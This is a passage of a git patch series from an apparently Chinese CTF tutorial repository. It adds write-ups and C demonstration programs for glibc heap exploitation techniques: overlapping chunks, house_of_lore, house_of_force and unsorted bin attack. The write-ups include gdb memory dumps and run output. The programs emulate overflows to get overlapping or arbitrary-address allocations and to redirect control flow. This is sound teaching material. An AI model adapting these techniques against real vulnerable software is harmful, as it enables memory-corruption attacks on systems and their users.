"\nIf we memset(p4, 'B', 0xd0), we have:\n"); + memset(p4, 'B', 0xd0); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); + + fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n"); + memset(p3, 'C', 0x50); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); +} +``` +``` +$ gcc -g overlapping_chunks.c +$ ./a.out +Now we allocate 3 chunks on the heap +p1=0x1e2b010 +p2=0x1e2b0a0 +p3=0x1e2b130 + +Freeing the chunk p2 +Emulating an overflow that can overwrite the size of the chunk p2. + +p4: 0x1e2b0a0 ~ 0x1e2b8e0 +p3: 0x1e2b130 ~ 0x1e2b530 + +If we memset(p4, 'B', 0xd0), we have: +p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa + +If we memset(p3, 'C', 0x50), we have: +p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +``` +这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。 + +首先分配三个堆块,然后释放掉中间的一个: +``` +gef➤ x/60gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x4141414141414141 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed] +0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x6020b0: 0x4141414141414141 0x4141414141414141 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x4141414141414141 +0x602150: 0x4141414141414141 0x4141414141414141 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk +0x6021b0: 0x0000000000000000 0x0000000000000000 +0x6021c0: 0x0000000000000000 0x0000000000000000 +0x6021d0: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602090, bk=0x602090 + → Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE) +``` +chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。 + +接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。 +``` +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602090, bk=0x602090 + → Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE) +``` +这时 unsorted bin 中的数据也更改了。 + +接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来: +``` +gef➤ x/60gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x4141414141414141 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4 +0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x6020b0: 0x4141414141414141 0x4141414141414141 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x4141414141414141 +0x602150: 0x4141414141414141 0x4141414141414141 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk +0x6021b0: 0x0000000000000000 0x0000000000000000 +0x6021c0: 0x0000000000000000 0x0000000000000000 +0x6021d0: 0x0000000000000000 0x0000000000000000 +``` +这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。 #### overlapping_chunks_2 +```c +#include +#include +#include +#include +#include -#### house_of_force +int main() { + intptr_t *p1,*p2,*p3,*p4,*p5,*p6; + unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; + int prev_in_use = 0x1; -#### unsorted_bin_attack + p1 = malloc(0x10); + p2 = malloc(0x80); + p3 = malloc(0x80); + p4 = malloc(0x80); + p5 = malloc(0x10); + real_size_p1 = malloc_usable_size(p1); + real_size_p2 = malloc_usable_size(p2); + real_size_p3 = malloc_usable_size(p3); + real_size_p4 = malloc_usable_size(p4); + real_size_p5 = malloc_usable_size(p5); + memset(p1, 'A', real_size_p1); + memset(p2, 'A', real_size_p2); + memset(p3, 'A', real_size_p3); + memset(p4, 'A', real_size_p4); + memset(p5, 'A', real_size_p5); + fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n"); + fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1)); + fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2)); + fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3)); + fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4)); + fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); -#### house_of_einherjar + free(p4); + fprintf(stderr, "\nLet's free the chunk p4\n\n"); -#### house_of_orange + fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n"); + *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE + + free(p2); + + p6 = malloc(0x1b0 - 0x10); + real_size_p6 = malloc_usable_size(p6); + fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6); + + fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n"); + fprintf(stderr, "p3 before = %s\n", (char *)p3); + memset(p6, 'B', 0xd0); + fprintf(stderr, "p3 after = %s\n", (char *)p3); +} +``` +``` +$ gcc -g overlapping_chunks_2.c +$ ./a.out +Now we allocate 5 chunks on the heap + +chunk p1: 0x18c2010 ~ 0x18c2028 +chunk p2: 0x18c2030 ~ 0x18c20b8 +chunk p3: 0x18c20c0 ~ 0x18c2148 +chunk p4: 0x18c2150 ~ 0x18c21d8 +chunk p5: 0x18c21e0 ~ 0x18c21f8 + +Let's free the chunk p4 + +Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3) + +Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8 + +Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0) +p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� +p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� +``` +同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。 + +我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值: +``` +gef➤ x/70gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x4141414141414141 +0x6020a0: 0x4141414141414141 0x4141414141414141 +0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x4141414141414141 0x4141414141414141 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed] +0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x4141414141414141 +0x6021b0: 0x4141414141414141 0x4141414141414141 +0x6021c0: 0x4141414141414141 0x4141414141414141 +0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size +0x6021e0: 0x4141414141414141 0x4141414141414141 +0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk +0x602200: 0x0000000000000000 0x0000000000000000 +0x602210: 0x0000000000000000 0x0000000000000000 +0x602220: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602140, bk=0x602140 + → Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE) +``` +free chunk 4 被放入 unsorted bin,大小为 0x90。 + +接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。 +``` +gef➤ x/70gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin +0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x4141414141414141 +0x6020a0: 0x4141414141414141 0x4141414141414141 +0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x4141414141414141 0x4141414141414141 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed] +0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x4141414141414141 +0x6021b0: 0x4141414141414141 0x4141414141414141 +0x6021c0: 0x4141414141414141 0x4141414141414141 +0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size +0x6021e0: 0x4141414141414141 0x4141414141414141 +0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk +0x602200: 0x0000000000000000 0x0000000000000000 +0x602210: 0x0000000000000000 0x0000000000000000 +0x602220: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602020, bk=0x602020 + → Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE) +``` +现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。 + +最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。 diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md new file mode 100644 index 0000000..bff0c54 --- /dev/null +++ b/doc/3.3.7_heap_exploit_3.md @@ -0,0 +1,19 @@ +# 3.3.7 Linux 堆利用(下) + +- [how2heap](#how2heap) + - [house_of_force](#house_of_force) + - [unsorted_bin_attack](#unsorted_bin_attack) + - [house_of_einherjar](#house_of_einherjar) + - [house_of_orange](#house_of_orange) + + +[下载文件](../src/Others/3.3.5_heap_exploit) + +## how2heap +#### house_of_force + +#### unsorted_bin_attack + +#### house_of_einherjar + +#### house_of_orange diff --git a/doc/3.3_pwn.md b/doc/3.3_pwn.md index 99411d6..cbfe413 100644 --- a/doc/3.3_pwn.md +++ b/doc/3.3_pwn.md @@ -6,3 +6,4 @@ - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) - [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) - [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) +- [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md) diff --git a/doc/3_topics.md b/doc/3_topics.md index 2cf8ac1..3b247f6 100644 --- a/doc/3_topics.md +++ b/doc/3_topics.md @@ -8,7 +8,11 @@ - [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) - - [3.3.5 堆利用](3.3.5_heap_exploit.md) + - [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) + - [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) + - [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md) - [3.4 Web](3.4_web.md) + - [3.4.1 SQL 注入利用](3.4.1_sql_injection.md) + - [3.4.2 XSS 漏洞利用](3.4.2_xss.md) - [3.5 Misc](3.5_misc.md) - [3.6 Mobile](3.6_mobile.md) diff --git a/src/Others/3.3.5_heap_exploit/house_of_lore.c b/src/Others/3.3.5_heap_exploit/house_of_lore.c new file mode 100644 index 0000000..747e269 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_lore.c @@ -0,0 +1,47 @@ +#include +#include +#include +#include + +void jackpot(){ puts("Nice jump d00d"); exit(0); } + +int main() { + intptr_t *victim = malloc(0x80); + memset(victim, 'A', 0x80); + void *p5 = malloc(0x10); + memset(p5, 'A', 0x10); + intptr_t *victim_chunk = victim - 2; + fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim); + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[3] = {0}; + stack_buffer_1[0] = 0; + stack_buffer_1[2] = victim_chunk; + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2); + + free((void*)victim); + fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + void *p2 = malloc(0x100); + fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2); + fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + victim[1] = (intptr_t)stack_buffer_1; + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + void *p3 = malloc(0x40); + char *p4 = malloc(0x80); + memset(p4, 'A', 0x10); + fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4); + fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]); + + intptr_t sc = (intptr_t)jackpot; + memcpy((p4+40), &sc, 8); +} diff --git a/src/Others/3.3.5_heap_exploit/overlapping_chunks.c b/src/Others/3.3.5_heap_exploit/overlapping_chunks.c new file mode 100644 index 0000000..7e0b9a3 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/overlapping_chunks.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4; + + p1 = malloc(0x90 - 8); + p2 = malloc(0x90 - 8); + p3 = malloc(0x80 - 8); + memset(p1, 'A', 0x90 - 8); + memset(p2, 'A', 0x90 - 8); + memset(p3, 'A', 0x80 - 8); + fprintf(stderr, "Now we allocate 3 chunks on the heap\n"); + fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3); + + free(p2); + fprintf(stderr, "Freeing the chunk p2\n"); + + int evil_chunk_size = 0x111; + int evil_region_size = 0x110 - 8; + *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2 + fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n"); + + p4 = malloc(evil_region_size); + fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size); + fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80); + + fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n"); + memset(p4, 'B', 0xd0); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); + + fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n"); + memset(p3, 'C', 0x50); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); +} diff --git a/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c b/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c new file mode 100644 index 0000000..441a72d --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4,*p5,*p6; + unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; + int prev_in_use = 0x1; + + p1 = malloc(0x10); + p2 = malloc(0x80); + p3 = malloc(0x80); + p4 = malloc(0x80); + p5 = malloc(0x10); + real_size_p1 = malloc_usable_size(p1); + real_size_p2 = malloc_usable_size(p2); + real_size_p3 = malloc_usable_size(p3); + real_size_p4 = malloc_usable_size(p4); + real_size_p5 = malloc_usable_size(p5); + memset(p1, 'A', real_size_p1); + memset(p2, 'A', real_size_p2); + memset(p3, 'A', real_size_p3); + memset(p4, 'A', real_size_p4); + memset(p5, 'A', real_size_p5); + fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n"); + fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1)); + fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2)); + fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3)); + fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4)); + fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); + + free(p4); + fprintf(stderr, "\nLet's free the chunk p4\n\n"); + + fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n"); + *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE + + free(p2); + + p6 = malloc(0x1b0 - 0x10); + real_size_p6 = malloc_usable_size(p6); + fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6); + + fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n"); + fprintf(stderr, "p3 before = %s\n", (char *)p3); + memset(p6, 'B', 0xd0); + fprintf(stderr, "p3 after = %s\n", (char *)p3); +} From af116609bc72a6f6b833757795ce403e8fba3372 Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 15 Jan 2018 16:02:30 +0800 Subject: [PATCH 09/13] update 3.3.7 --- doc/3.3.7_heap_exploit_3.md | 187 ++++++++++++++++++ .../3.3.5_heap_exploit/house_of_force.c | 39 ++++ .../3.3.5_heap_exploit/unsorted_bin_attack.c | 20 ++ 3 files changed, 246 insertions(+) create mode 100644 src/Others/3.3.5_heap_exploit/house_of_force.c create mode 100644 src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index bff0c54..a98c999 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -11,8 +11,195 @@ ## how2heap #### house_of_force +```c +#include +#include +#include +#include +#include +#include + +char bss_var[] = "This is a string that we want to overwrite."; + +int main() { + fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var); + + intptr_t *p1 = malloc(0x10); + int real_size = malloc_usable_size(p1); + memset(p1, 'A', real_size); + fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1); + fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size); + + intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); + fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n"); + fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + ptr_top[0] = -1; + fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + + unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; + fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); + void *new_ptr = malloc(evil_size); + int real_size_new = malloc_usable_size(new_ptr); + memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20); + fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); + + void* ctr_chunk = malloc(0x30); + fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk); + fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n"); + + fprintf(stderr, "old string: %s\n", bss_var); + strcpy(ctr_chunk, "YEAH!!!"); + fprintf(stderr, "new string: %s\n", bss_var); +} +``` +``` +$ gcc -g house_of_force.c +$ ./a.out +We will overwrite a variable at 0x601080 + +Let's allocate the first chunk of 0x10 bytes: 0x824010. +Real size of our allocated chunk is 0x18. + +Overwriting the top chunk size with a big value so the malloc will never call mmap. +Old size of top chunk: 0x20fe1 +New size of top chunk: 0xffffffffffffffff + +The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes. +As expected, the new pointer is at the same place as the old top chunk: 0x824030 +malloc(0x30) => 0x601080! + +Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value. +old string: This is a string that we want to overwrite. +new string: YEAH!!! +``` +house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。 + +首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk: +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk +0x602030: 0x0000000000000000 0x0000000000000000 +``` +chunk 1 真实可用的内存有 0x18 字节。 + +假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数: +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk +0x602030: 0x0000000000000000 0x0000000000000000 +``` +改写之后的 size==0xffffffff。 + +现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。 +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0xfffffffffffff051 +0x602030: 0x0000000000000000 0x0000000000000000 +gef➤ x/12gx 0x602010+0xfffffffffffff050 +0x601060: 0x4141414141414141 0x4141414141414141 +0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk +0x601080 : 0x2073692073696854 0x676e697274732061 <-- target +0x601090 